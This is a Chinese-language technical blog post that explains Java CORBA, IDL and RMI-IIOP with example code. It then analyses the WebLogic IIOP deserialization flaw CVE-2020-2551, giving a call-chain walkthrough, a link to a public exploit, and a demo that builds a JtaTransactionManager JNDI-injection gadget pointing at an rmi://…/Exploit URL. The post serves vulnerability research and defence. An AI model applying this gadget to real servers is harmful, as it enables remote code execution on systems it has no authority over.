IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。
JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于公共对象代理体系(Common Object Request Brokerage Architecture,CORBA),一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档Java IDL: IDL to Java Language Mapping
在jdk安装后,会附带有
idlj
编译器,使用idlj
命令可以将IDL文件编译成java文件
CORBA(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,是由OMG组织制订的一种标准分布式对象结构。其提出是为了解决不同应用间的通信,曾是分布式计算的主流技术。
CORBA结构分为三部分:
他们之间的关系简单理解为:client side从naming service中获取服务方servant side信息。servant side需要在naming service中注册,这样client side在要访问具体内容时会先去naming service查找,以找到对应的servant side服务。
可以理解为目录与章节具体内容具体关系:naming service目录,servant side为内容,目的就是为了让client side快速从目录找到内容。
在CORBA客户端和服务器之间进行远程调用模型如下:
在客户端,应用程序包含远程对象的引用,对象引用具有存根(stub)方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB(Object Request Broker)对象请求代理的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。
在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。
在ORB之间,通信通过IIOP(the Internet Inter-ORB Protocol)互联网内部对象请求代理协议进行。基于标准TCP/IP Internet协议的IIOP提供了CORBA客户端和服务端之间通信的标准。
CORBA使用IDL供用户描述程序接口, 所以这里第一步就是编写idl描述接口,创建Hello.idl
文件:
module HelloApp
{
interface Hello
{
string sayHello();
};
};
该段代码描述了Hello
接口中包含sayHello()
方法,他会返回字符串类型数据。
接着使用JAVA的IDL编译器idlj
,将idl文件编译成class文件:
idlj -fclient Hello.idl
创建了一个新目录HelloApp
,并生成了5个新文件:
他们之间的关系如下图所示:
参考代码,简单概括一下:
HelloOperations
接口中定义sayHello()
方法Hello
继承了HelloOperations
_HelloStub
类实现了Hello
接口,client side使用hello
接口调用servant side
。HelloHelper
类实现网络传输,数据编码和解码的工作。详细分析一下几段核心代码,先来看一下_HelloStub.java
中sayHello()
的实现:
public String sayHello ()
{
org.omg.CORBA.portable.InputStream $in = null;
try {
org.omg.CORBA.portable.OutputStream $out = _request ("sayHello", true);
$in = _invoke ($out);
String $result = $in.read_string ();
return $result;
} catch (org.omg.CORBA.portable.ApplicationException $ex) {
$in = $ex.getInputStream ();
String _id = $ex.getId ();
throw new org.omg.CORBA.MARSHAL (_id);
} catch (org.omg.CORBA.portable.RemarshalException $rm) {
return sayHello ( );
} finally {
_releaseReply ($in);
}
} // sayHello
使用org.omg.CORBA.portable
的InputStream
和OutputStream
来表示调用的请求和响应,通过_request()
和_invoke()
方法调用得到结果。
另外在HelloHelper
类中负责处理对象网络传输的编码和解码,来看一下narrow
方法:
public static HelloApp.Hello narrow (org.omg.CORBA.Object obj) { if (obj == null) return null; else if (obj instanceof HelloApp.Hello) return (HelloApp.Hello)obj; else if (!obj._is_a (id ())) throw new org.omg.CORBA.BAD_PARAM (); else { org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate (); HelloApp._HelloStub stub = new HelloApp._HelloStub (); stub._set_delegate(delegate); return stub; } }
接受一个org.omg.CORBA.Object
对象作为参数,返回stub。
执行命令:
idlj -fserver Hello.idl
会生成三个文件,除了HelloPOA.java
,其余都是一样的。
POA(Portable Object Adapter)是便携式对象适配器,它是CORBA规范的一部分。这里的这个POA虚类是servant side的框架类,它提供了方法帮助我们将具体实现对象注册到naming service上。
来看一下其核心代码:
public abstract class HelloPOA extends org.omg.PortableServer.Servant implements HelloApp.HelloOperations, org.omg.CORBA.portable.InvokeHandler { // Constructors private static java.util.Hashtable _methods = new java.util.Hashtable (); static { _methods.put ("sayHello", new java.lang.Integer (0)); } public org.omg.CORBA.portable.OutputStream _invoke (String $method, org.omg.CORBA.portable.InputStream in, org.omg.CORBA.portable.ResponseHandler $rh) { org.omg.CORBA.portable.OutputStream out = null; java.lang.Integer __method = (java.lang.Integer)_methods.get ($method); if (__method == null) throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE); switch (__method.intValue ()) { case 0: // HelloApp/Hello/sayHello { String $result = null; $result = this.sayHello (); out = $rh.createReply(); out.write_string ($result); break; } default: throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE); } return out; } // _invoke //...
值得注意的是他也实现了HelloOperations
接口,代码的最开始将sayHello
方法放入一个hashtable中,_invoke
方法中,将调用sayHello()
的结果通过org.omg.CORBA.portable.ResponseHandler
对象通过网络传输到client side。
此时idjl
生成的全部class的关系图:
接下来,要做的就是用户自己实现client side和servant side中具体的方法操作。
对于servant side而言,实现一个HelloImpl
类来继承HelloPOA
类实现sayHello()
方法:
package HelloApp; import org.omg.CORBA.ORB; public class HelloImpl extends HelloPOA { private ORB orb; public void setORB(ORB orbVal) { orb = orbVal; } @Override public String sayHello() { return "\nHello, world!\n"; } }
此时的继承关系如下:
接着,需要写一个服务端HelloServer
类来接受client side对HelloImpl.sayHello()
的调用。
三个部分:
name service
地址参数来创建,根据CORBA的规范,通过ORB获取一个名称为RootPOA
的POA
对象。(其中name service由jdk中的orbd
提供)HelloImpl
对象以Hello
为名绑定。package HelloApp; import org.omg.CORBA.ORB; import org.omg.CosNaming.NamingContext; import org.omg.CosNaming.NamingContextExt; import org.omg.CosNaming.NamingContextExtHelper; import org.omg.CosNaming.NamingContextHelper; import java.util.Properties; public class HelloClient { static Hello helloImpl; public static void main(String[] args) throws Exception { ORB orb = ORB.init(args, null); org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); String name = "Hello"; // helloImpl的类型为_HelloStub,而不是真正的helloImpl helloImpl = HelloHelper.narrow(ncRef.resolve_str(name)); System.out.println(helloImpl.sayHello()); } }
首先和服务端一样,需要初始化ORB,通过ORB来获取NameService并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的Stub,调用Stub中的sayhello()方法,这个时候才会完成client side向servant side发送请求,POA处理请求,并将具体实现的HelloImpl包装返回给client side。
ORBD可以理解为ORB的守护进程(daemon),其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,可以通过一行命令进行启动:
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1
接着分别在HelloServer
和HelloClient
配置name service地址:
其次依次启动name service
、HelloServer
、HelloClient
结果如上图所示。
此外,除了上述先获取NameServer,后通过resolve_str()
方法生成(NameServer方式)的stub,还有两种:
代码分别如下:
orb方式
public class HelloClietORB { static Hello helloImpl; public static void main(String[] args) throws Exception { ORB orb = ORB.init(args, null); org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello"); Hello hello = HelloHelper.narrow(obj); System.out.println(hello.sayHello()); } }
public class HelloClientORB2 { static Hello helloImpl; public static void main(String[] args) throws Exception { ORB orb = ORB.init(args, null); org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050"); NamingContextExt ncRef = NamingContextExtHelper.narrow(obj); Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello")); System.out.println(hello.sayHello()); } }
JDNI方式:
public class HelloClientJNDI { static Hello helloImpl; public static void main(String[] args) throws Exception { ORB orb = ORB.init(args, null); Hashtable env = new Hashtable(5, 0.75f); env.put("java.naming.corba.orb", orb); Context ic = new InitialContext(env); Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello")); System.out.println(helloRef.sayHello()); } }
服务端流量大致分为两个部分:
获取Naming Service的流量如下:
在返回的响应中,拿到了RootPOA
:
对应的代码为:
接着检测获取到的NamingService
对象是否为NamingContextExt
类的示例:
对应代码:
最后发送op=to_name
和op=rebind
两个指令:
分别为设置引用名,和设置绑定信息,来看一下op=rebind
的数据包:
这里通过IOR信息表示了servant side的相关rpc信息。
这里以NameServer方式生成stub为例:
RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。
参考文档Tutorial: Getting Started Using RMI-IIOP所述,一共四个步骤,对应的文件如下:
sayHello()
实现接口类,必须要实现Remote远程类,且抛出java.rmi.RemoteException
异常。
HelloInterface.java
import java.rmi.Remote; public interface HelloInterface extends java.rmi.Remote { public void sayHello( String from ) throws java.rmi.RemoteException; }
实现接口类,必须写构造方法调用父类构造方法,给远程对象初始化使用,同时要实现一个方法给远程调用使用(sayHello()
)
HelloImpl.java
import javax.rmi.PortableRemoteObject; public class HelloImpl extends PortableRemoteObject implements HelloInterface { public HelloImpl() throws java.rmi.RemoteException { super(); // invoke rmi linking and remote object initialization } public void sayHello( String from ) throws java.rmi.RemoteException { System.out.println( "Hello from " + from + "!!" ); System.out.flush(); } }
编写服务端,创建servant实例,绑定对象。
HelloServer.java
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.util.Hashtable; public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { //实例化Hello servant HelloImpl helloRef = new HelloImpl(); //使用JNDI在命名服务中发布引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); } }
编写客户端类,远程调用sayHello()
方法。
HelloClient.java
import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import java.util.Hashtable; public class HelloClient { public static void main( String args[] ) { Context ic; Object objref; HelloInterface hi; try { Hashtable env = new Hashtable(); env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory"); env.put("java.naming.provider.url", "iiop://127.0.0.1:1050"); ic = new InitialContext(env); // STEP 1: Get the Object reference from the Name Service // using JNDI call. objref = ic.lookup("HelloService"); System.out.println("Client: Obtained a ref. to Hello server."); // STEP 2: Narrow the object reference to the concrete type and // invoke the method. hi = (HelloInterface) PortableRemoteObject.narrow( objref, HelloInterface.class); hi.sayHello( " MARS " ); } catch( Exception e ) { System.err.println( "Exception " + e + "Caught" ); e.printStackTrace( ); } } }
编译
编译远程接口实现类:
javac -d . -classpath . HelloImpl.java
给实现类创建stub和skeleton(简单理解即jvm中的套接字通信程序):
rmic -iiop HelloImpl
执行完后会创建两个文件:
编译:
javac -d . -classpath . HelloInterface.java HelloServer.java HelloClient.java
运行
开启Naming Service:
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1
运行客户端服务端:
java -classpath . HelloServer
java -classpath . HelloClient
上述客户端服务端代码如果在
InitialContext
没传入参数可以像文档中所述通过java -D
传递
结果
weblogic10.3.6版本,jdk8u73版本
采坑,记得weblogic版本、rmi服务、exp版本都一致
EXP:https://github.com/Y4er/CVE-2020-2551
这个该漏洞借助IIOP协议触发反序列化,结合对JtaTransactionManager
类的错误过滤,导致可以结合其触发其类的JNDI注入造成RCE的效果。
weblogic中自带的一个Spring框架的包:/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
在反序列化调用readObject
时,会调用initUserTransactionAndTransactionManager
方法:
接着调用this.lookupUserTransaction
方法,传入成员变量this.userTransactionName
:
获取this.getJndiTemplate()
后,在/com/bea/core/repackaged/springframework/jndi/JndiTemplate#lookup
中
到这里通过控制userTransactionName
属性,进行JNDI注入:
demo:
public class jnditest { public static void main(String[] args){ JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit"); serialize(jtaTransactionManager); deserialize(); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jndi.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } } public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("jndi.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
后来翻了一下资料,在CVE-2018-3191中使用的就是该gadget,当时结合T3协议进行反序列化,修复方案将JtaTransactionManager
的父类AbstractPlatformTransactionManager
加入到黑名单列表了,T3协议使用的是resolveClass
方法去过滤的,resolveClass
方法是会读取父类的,所以T3协议这样过滤是没问题的。但是在IIOP协议这里,也是使用黑名单进行过滤,但不是使用resolveClass
方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,从而触发JNDI注入。
在上文中RMI-IIOP的客户端demo中,分为三个步骤:
先来看第一个过程,无论是客户端还是服务端都要进行的的一个步骤:InitialContext
方法中将env
参数传入,进行初始化:
经过几次调用,一直跟进到javax/naming/spi/NamingManager.java#getInitialContext
方法
可以看到在这里将我们传入的env
对应的工厂类进行获取,我们来找一下,在weblogic中有多少个可以加载的工厂类,找到InitialContextFactory
接口(ctrl+h
查看依赖树)
这里直接来看WLInitialContextFactory
类:
/wlserver_10.3/server/lib/wls-api.jar!/weblogic/jndi/Environment#getContext
getInitialContext
方法中,到这里其实就是CORBA的解析流程了,
简单跟一下string_to_object
方法,这里其实就是上文中CORBA的stub生成三种方式所对应的协议:
再来看getORBReference
方法,其实就是CORBA初始化orb获取Name Service
的过程:
对应CORBA中代码:
再来看一下Conetext
的绑定过程:/corba/j2ee/naming/ContextImpl
可以看到这个过程其实就是CORBA生成IOR的过程,指定java类型交互的约定为tk_value
,设定op为rebind_any
,存储序列化数据到any类,待client side调用。
其实在分析这里之前一直有一个问题无法理解,一直以为weblogic是orbd+servant side,而我们写的exp是client side,在和@Lucifaer师傅学习后,其实对于weblogic的orbd而言,servant side和client side都是客户端,而weblogic(orbd)是在处理servant side的时候解析数据造成反序列化的问题。
到这里servant side的注册就结束了,下面来分析一下weblogic是如何对其进行解析的。
weblogic解析请求的入口开始:weblogic/rmi/internal/wls/WLSExecuteRequest#run
完整调用栈在下文,这里选取几个比较关键的点来分析:weblogic/corba/idl/CorbaServerRef#invoke
先是判断请求类型是否为objectMethods
已经存在的,这里是rebind_any
,不存在则调用this.delegate._invoke
方法,然后将方法类型,IIOPInputStream
数据传入_invoke
函数:
rebind_any
指令类型对应的var5
为1,进入var2.read_any()
这里的this.read_TypeCode()
即上文中Context bind中的tk_value
设置的交互类型,在weblogic/corba/idl/AnyImpl#read_value_internal
对应case 30
,同时这里的Any
类型,在上文Context
分析中正式我们将序列化数据插入的地方。
跟进weblogic/corba/utils/ValueHandlerImpl
在这里var2为ObjectStreamClass
,调用其readObject方法。继续跟readObject
:
反射调用JtaTransactionManager
的readObject
:com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
最后就是jndi注入了:
完整调用栈:
在分析EXP时个人有一点疑惑,记录一下分析和解决的过程。
参考Y4er/CVE-2020-2551,这里我们结合IIOP servant side的demo来看:
上图为EXP,下图为IIOP服务端,这里有一点需要注意的是,在demo中HelloImpl
类继承了HelloInterface
实现了java.rmi.Remote
远程类的继承:
回过头来看JtaTransactionManager
类的接口:
正是这个原因才需要我们在编写EXP的时候,需要将jtaTransactionManager
通过反射,动态转换成remote达到远程调用的目的。
在自己动手分析之前,我一直把weblogic当成servant side和orbd(name Service),也无法理解为什么EXP要和COBAR的servant side一样用rebind注册,后来在@Lucifaer师傅的帮助下才理解这里没有client side的参与,而对于Name Service而言这两者都是客户端。
其次这种漏洞IIOP只是载体,JtaTransactionManager
为gadget,官方修复也仅仅只是添加黑名单,IIOP的问题没根本解决,再爆一个gadget又得修,问题源源不断。更坑爹的是官网直接下的weblogic连黑名单都没有,个人觉得防御这种问题单纯靠waf流量检测根本防不住,没有反序列化特征,二进制数据流。要防范这类新问题的产生,或许只有RASP的行为检测才能解决。
参考文章: